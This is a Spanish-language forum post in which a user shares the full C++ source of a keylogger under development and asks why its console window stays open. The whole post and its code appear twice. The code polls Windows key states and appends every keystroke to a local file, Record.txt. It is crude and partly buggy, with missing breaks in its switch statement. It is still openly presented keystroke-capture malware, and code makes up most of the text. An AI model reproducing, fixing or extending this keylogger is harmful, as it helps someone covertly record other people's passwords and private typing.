
Keylogger en c++
Publicado por Lisandro (2 intervenciones) el 22/07/2021 02:08:31
Buenas noches estoy en el desarrollo de un keylogger en C++.
Y al compilar la aplicacion guarda las teclas presionadas en el bloc de notas llamado Record.txt, sin embargo la pantalla negra de compilación queda encendida y no cierra.
#include<iostream>
#include<windows.h>
#include<winuser.h>
#include<fstream>
using namespace std;
void log();
int main()
{
log();
return 0;
// return EXIT_SUCCESS;
exit(1);
// exit(EXIT_SUCCESS);
}
void log()
{
char c ;
for(;;)
{
for( c=8; c<=222; c++)
{
if(GetAsyncKeyState(c)== -32767)
{
ofstream write("Record.txt" , ios::app);
switch(c)
{
case 8 : write << "<Backspace>";
case 27 : write <<"<Esc>";
case 127 : write <<"<Del>";
case 32 : write <<" ";
case 13 : write <<"<Enter>\n";
default : write << c;
}
}
}
exit(0);
}
// exit(EXIT_SUCCESS);
// exit(1);
// return 0;
}
Si no fui muy preciso en la explicación por favor hazme saber, pueden compilarlo en el compilador Dev c++ y en la misma carpeta donde guardaron el archivo se creará el archivo Record.txt
Y al compilar la aplicacion guarda las teclas presionadas en el bloc de notas llamado Record.txt, sin embargo la pantalla negra de compilación queda encendida y no cierra.
#include<iostream>
#include<windows.h>
#include<winuser.h>
#include<fstream>
using namespace std;
void log();
int main()
{
log();
return 0;
// return EXIT_SUCCESS;
exit(1);
// exit(EXIT_SUCCESS);
}
void log()
{
char c ;
for(;;)
{
for( c=8; c<=222; c++)
{
if(GetAsyncKeyState(c)== -32767)
{
ofstream write("Record.txt" , ios::app);
switch(c)
{
case 8 : write << "<Backspace>";
case 27 : write <<"<Esc>";
case 127 : write <<"<Del>";
case 32 : write <<" ";
case 13 : write <<"<Enter>\n";
default : write << c;
}
}
}
exit(0);
}
// exit(EXIT_SUCCESS);
// exit(1);
// return 0;
}
Si no fui muy preciso en la explicación por favor hazme saber, pueden compilarlo en el compilador Dev c++ y en la misma carpeta donde guardaron el archivo se creará el archivo Record.txt
Valora esta pregunta


0